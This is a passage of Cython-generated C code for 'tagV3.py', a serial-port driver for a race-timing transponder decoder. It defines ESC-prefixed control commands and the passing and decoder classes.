Command Definition */ __pyx_t_1 = __Pyx_Import(__pyx_n_s_serial, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 221, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_serial, __pyx_t_1) < 0) __PYX_ERR(0, 221, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":224 * * # Command Definition * ESC = chr( 27 ) # escape character # <<<<<<<<<<<<<< * cmd = {} * # Get Status: */ __pyx_t_1 = __Pyx_PyObject_Call(__pyx_builtin_chr, __pyx_tuple__27, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 224, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_ESC, __pyx_t_1) < 0) __PYX_ERR(0, 224, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":225 * # Command Definition * ESC = chr( 27 ) # escape character * cmd = {} # <<<<<<<<<<<<<< * # Get Status: * # Request running time, noise and level status from decoder */ __pyx_t_1 = PyDict_New(); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_cmd, __pyx_t_1) < 0) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":229 * # Request running time, noise and level status from decoder * # command: ESC + 0x05 * cmd['Status'] = ESC + '\x05' # <<<<<<<<<<<<<< * # response: [STATUS] * # Start: */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_ESC); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyNumber_Add(__pyx_t_1, __pyx_kp_u__28); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_cmd); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_n_u_Status, __pyx_t_2) < 0)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":234 * # Start decoder * # command: ESC + 0x07 * cmd['Start'] = ESC + '\x07' # <<<<<<<<<<<<<< * # response: [DEPART] or none if decoder already started * # */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_ESC); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 234, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyNumber_Add(__pyx_t_2, __pyx_kp_u__29); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 234, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_cmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 234, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_n_u_Start, __pyx_t_1) < 0)) __PYX_ERR(0, 234, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":241 * # command: ESC + 0x08 + 0x08 + [CONFIG] + [CRC] + '>' * # response: none * cmd['Set Config'] = ESC + '\x08\x08%s%s>' # <<<<<<<<<<<<<< * # Set IP Config: * # Update decoder IP configuration. Note: Decoder must be stopped */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_ESC); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 241, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyNumber_Add(__pyx_t_1, __pyx_kp_u_s_s); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 241, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_cmd); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 241, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_kp_u_Set_Config, __pyx_t_2) < 0)) __PYX_ERR(0, 241, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":246 * # before issuing this command (why?) * # command: ESC + 0x09 + 0x09 + [IPCONFIG] + [CRC] + '>' * cmd['Set IP Config'] = ESC + '\x09\x09%s%s>' # <<<<<<<<<<<<<< * # response: XPORT specific (TBC) * # Get Config: */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_ESC); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyNumber_Add(__pyx_t_2, __pyx_kp_u_s_s_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_cmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_kp_u_Set_IP_Config, __pyx_t_1) < 0)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":251 * # Fetch current decoder configuration & identification * # command: ESC + 0x10 * cmd['Get Config'] = ESC + '\x10' # <<<<<<<<<<<<<< * # response: [DECODERCONF] * # */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_ESC); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyNumber_Add(__pyx_t_1, __pyx_kp_u__30); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_cmd); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_kp_u_Get_Config, __pyx_t_2) < 0)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":257 * # Acknowledge last passing sent by decoder/flag ready for next passing * # command: ESC + 0x11 * cmd['Acknowledge'] = ESC + '\x11' # <<<<<<<<<<<<<< * # response: none or [PASSING] * # */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_ESC); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 257, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyNumber_Add(__pyx_t_2, __pyx_kp_u__31); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 257, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_cmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 257, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_n_u_Acknowledge, __pyx_t_1) < 0)) __PYX_ERR(0, 257, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":263 * # Repeat first unacknowledged passing, else last acknowledged passing * # command: ESC + 0x12 * cmd['Repeat'] = ESC + '\x12' # <<<<<<<<<<<<<< * # response: [PASSING] * # */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_ESC); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 263, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyNumber_Add(__pyx_t_1, __pyx_kp_u__32); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 263, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_cmd); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 263, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_n_u_Repeat, __pyx_t_2) < 0)) __PYX_ERR(0, 263, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":269 * # Stop decoder * # command: ESC + 0x13 + '\' * cmd['Stop'] = ESC + '\x013' # <<<<<<<<<<<<<< * # response: [STOP] (even if already stopped) * # */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_ESC); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 269, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyNumber_Add(__pyx_t_2, __pyx_kp_u_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 269, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_cmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 269, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_n_u_Stop, __pyx_t_1) < 0)) __PYX_ERR(0, 269, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":276 * # started and config option "Running time to time of decoder" set * # command: ESC + 0x48 + [SETTIME] + 't' * cmd['Start'] = ESC + '\x48%st' # <<<<<<<<<<<<<< * # response: none * # */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_ESC); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 276, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyNumber_Add(__pyx_t_1, __pyx_kp_u_H_st); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 276, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_cmd); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 276, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_n_u_Start, __pyx_t_2) < 0)) __PYX_ERR(0, 276, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":282 * # Update decoder date * # command: ESC + 0x0a + 0x0a + [SETDATE] + [CRC] + '>' * cmd['Set Date'] = ESC + '\x0a\x0a%s%s>' # <<<<<<<<<<<<<< * # response: none * # */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_ESC); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 282, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyNumber_Add(__pyx_t_2, __pyx_kp_u_s_s_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 282, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_cmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 282, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_kp_u_Set_Date, __pyx_t_1) < 0)) __PYX_ERR(0, 282, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":288 * # Set detection level on STA channel * # command: ESC + 0x1e + [SETLEVEL] * cmd['Set STA Level'] = ESC + '\x1e%s>' # <<<<<<<<<<<<<< * # response: none * # */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_ESC); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 288, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyNumber_Add(__pyx_t_1, __pyx_kp_u_s); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 288, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_cmd); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 288, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_kp_u_Set_STA_Level, __pyx_t_2) < 0)) __PYX_ERR(0, 288, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":294 * # Set Detection level on BOX channel * # command: ESC + 0x1f + [SETLEVEL] * cmd['Set BOX Level'] = ESC + '\x1f%s>' # <<<<<<<<<<<<<< * # response: none * # */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_ESC); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 294, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyNumber_Add(__pyx_t_2, __pyx_kp_u_s_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 294, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_cmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 294, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_kp_u_Set_BOX_Level, __pyx_t_1) < 0)) __PYX_ERR(0, 294, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":300 * # Request status on remote decoder with id specified in B * # command: ESC + 0x49 + [B] * cmd['Stat BXX'] = ESC + '\x49%s>' # <<<<<<<<<<<<<< * # response: (TBC) * # */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_ESC); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 300, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyNumber_Add(__pyx_t_1, __pyx_kp_u_I_s); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 300, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_cmd); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 300, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_kp_u_Stat_BXX, __pyx_t_2) < 0)) __PYX_ERR(0, 300, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":306 * # Increment all detection levels by 0x10 (Note 2) * # command: ESC + 0x4e + 0x2b * cmd['BXX Level'] = ESC + '\x4e\x2b>' # <<<<<<<<<<<<<< * # response: none * test_passing = "<STA 006141 00:02'57\"541 38 07 0 1569>" */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_ESC); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 306, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyNumber_Add(__pyx_t_2, __pyx_kp_u_N); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 306, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_cmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 306, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_kp_u_BXX_Level, __pyx_t_1) < 0)) __PYX_ERR(0, 306, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":308 * cmd['BXX Level'] = ESC + '\x4e\x2b>' * # response: none * test_passing = "<STA 006141 00:02'57\"541 38 07 0 1569>" # <<<<<<<<<<<<<< * class passing(): * def __init__(self, data = ""): */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_test_passing, __pyx_kp_u_STA_006141_00_02_57_541_38_07_0) < 0) __PYX_ERR(0, 308, __pyx_L1_error) /* "tagV3.py":309 * # response: none * test_passing = "<STA 006141 00:02'57\"541 38 07 0 1569>" * class passing(): # <<<<<<<<<<<<<< * def __init__(self, data = ""): * self.telegram = data */ __pyx_t_1 = __Pyx_Py3MetaclassPrepare((PyObject *) NULL, __pyx_empty_tuple, __pyx_n_s_passing, __pyx_n_s_passing, (PyObject *) NULL, __pyx_n_s_tagV3, (PyObject *) NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 309, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); /* "tagV3.py":310 * test_passing = "<STA 006141 00:02'57\"541 38 07 0 1569>" * class passing(): * def __init__(self, data = ""): # <<<<<<<<<<<<<< * self.telegram = data * try: */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_5tagV3_7passing_1__init__, 0, __pyx_n_s_passing___init, NULL, __pyx_n_s_tagV3, __pyx_d, ((PyObject *)__pyx_codeobj__34)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 310, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_CyFunction_SetDefaultsTuple(__pyx_t_2, __pyx_tuple__35); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_init, __pyx_t_2) < 0) __PYX_ERR(0, 310, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":309 * # response: none * test_passing = "<STA 006141 00:02'57\"541 38 07 0 1569>" * class passing(): # <<<<<<<<<<<<<< * def __init__(self, data = ""): * self.telegram = data */ __pyx_t_2 = __Pyx_Py3ClassCreate(((PyObject*)&__Pyx_DefaultClassType), __pyx_n_s_passing, __pyx_empty_tuple, __pyx_t_1, NULL, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 309, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_passing, __pyx_t_2) < 0) __PYX_ERR(0, 309, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":341 * * * class decoder(): # <<<<<<<<<<<<<< * * task = dict([]) */ __pyx_t_1 = __Pyx_Py3MetaclassPrepare((PyObject *) NULL, __pyx_empty_tuple, __pyx_n_s_decoder, __pyx_n_s_decoder, (PyObject *) NULL, __pyx_n_s_tagV3, (PyObject *) NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 341, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); /* "tagV3.py":343 * class decoder(): * * task = dict([]) # <<<<<<<<<<<<<< * * def createThread(self,d, decoder, name): */ __pyx_t_2 = PyList_New(0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 343, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = PyTuple_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 343, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(((PyObject *)(&PyDict_Type)), __pyx_t_3, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 343, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_task, __pyx_t_2) < 0) __PYX_ERR(0, 343, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":345 * task = dict([]) * * def createThread(self,d, decoder, name): # <<<<<<<<<<<<<< * p = Thread( target=self.decoder, args=(decoder['device'], decoder['baud'], d['multi_ip'], d['port'])) * return p */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_5tagV3_7decoder_1createThread, 0, __pyx_n_s_decoder_createThread, NULL, __pyx_n_s_tagV3, __pyx_d, ((PyObject *)__pyx_codeobj__37)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 345, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_createThread, __pyx_t_2) < 0) __PYX_ERR(0, 345, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":349 * return p * * def decoder(self, device, baud, ip, port): # <<<<<<<<<<<<<< * theSer = serial.Serial( device, baud) * if not theSer.is_open: */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_5tagV3_7decoder_3decoder, 0, __pyx_n_s_decoder_decoder, NULL, __pyx_n_s_tagV3, __pyx_d, ((PyObject *)__pyx_codeobj__39)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 349, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_decoder, __pyx_t_2) < 0) __PYX_ERR(0, 349, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":386 * * # Command Definition * def getStatus( self ): # <<<<<<<<<<<<<< * self.sendCmd( self.cmd['Status'] ) * # response: [STATUS] */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_5tagV3_7decoder_5getStatus, 0, __pyx_n_s_decoder_getStatus, NULL, __pyx_n_s_tagV3, __pyx_d, ((PyObject *)__pyx_codeobj__41)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 386, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_getStatus, __pyx_t_2) < 0) __PYX_ERR(0, 386, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":389 * self.sendCmd( self.cmd['Status'] ) * # response: [STATUS] * def start( self ): # <<<<<<<<<<<<<< * self.sendCmd( self.cmd['Start'] ) * # response: [DEPART] or none if decoder already started */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_5tagV3_7decoder_7start, 0, __pyx_n_s_decoder_start, NULL, __pyx_n_s_tagV3, __pyx_d, ((PyObject *)__pyx_codeobj__43)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 389, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_start, __pyx_t_2) < 0) __PYX_ERR(0, 389, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":392 * self.sendCmd( self.cmd['Start'] ) * # response: [DEPART] or none if decoder already started * def setConfig( self , cfg ): # <<<<<<<<<<<<<< * # Update decoder configuration * # command: ESC + 0x08 + 0x08 + [CONFIG] + [CRC] + '>' */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_5tagV3_7decoder_9setConfig, 0, __pyx_n_s_decoder_setConfig, NULL, __pyx_n_s_tagV3, __pyx_d, ((PyObject *)__pyx_codeobj__45)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 392, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_setConfig, __pyx_t_2) < 0) __PYX_ERR(0, 392, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":398 * crc = crc16( bytearray( cfg.encode() ) ) * self.sendCmd( self.cmd['Set Config']%(cfg, crc) ) * def setIPConfig( self, cfg ): # <<<<<<<<<<<<<< * # Update decoder IP configuration. Note: Decoder must be stopped * # before issuing this command (why?) */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_5tagV3_7decoder_11setIPConfig, 0, __pyx_n_s_decoder_setIPConfig, NULL, __pyx_n_s_tagV3, __pyx_d, ((PyObject *)__pyx_codeobj__47)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 398, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_setIPConfig, __pyx_t_2) < 0) __PYX_ERR(0, 398, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":405 * self.sendCmd( self.cmd['Set IP Config']%(cfg, crc) ) * # response: XPORT specific (TBC) * def getConfig( self ): # <<<<<<<<<<<<<< * # Fetch current decoder configuration & identification * # command: ESC + 0x10 */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_5tagV3_7decoder_13getConfig, 0, __pyx_n_s_decoder_getConfig, NULL, __pyx_n_s_tagV3, __pyx_d, ((PyObject *)__pyx_codeobj__49)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 405, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_getConfig, __pyx_t_2) < 0) __PYX_ERR(0, 405, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":411 * # response: [DECODERCONF] * # * def acknowledge( self ): # <<<<<<<<<<<<<< * # Acknowledge last passing sent by decoder/flag ready for next passing * # command: ESC + 0x11 */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_5tagV3_7decoder_15acknowledge, 0, __pyx_n_s_decoder_acknowledge, NULL, __pyx_n_s_tagV3, __pyx_d, ((PyObject *)__pyx_codeobj__51)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 411, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_acknowledge, __pyx_t_2) < 0) __PYX_ERR(0, 411, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":417 * # response: none or [PASSING] * # * def repeat( self ): # <<<<<<<<<<<<<< * # Repeat first unacknowledged passing, else last acknowledged passing * # command: ESC + 0x12 */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_5tagV3_7decoder_17repeat, 0, __pyx_n_s_decoder_repeat, NULL, __pyx_n_s_tagV3, __pyx_d, ((PyObject *)__pyx_codeobj__53)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 417, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_repeat, __pyx_t_2) < 0) __PYX_ERR(0, 417, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":423 * # response: [PASSING] * # * def stop( self ): # <<<<<<<<<<<<<< * # Stop decoder * # command: ESC + 0x13 + '\' */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_5tagV3_7decoder_19stop, 0, __pyx_n_s_decoder_stop, NULL, __pyx_n_s_tagV3, __pyx_d, ((PyObject *)__pyx_codeobj__55)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 423, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_stop, __pyx_t_2) < 0) __PYX_ERR(0, 423, __pyx_L1_error) 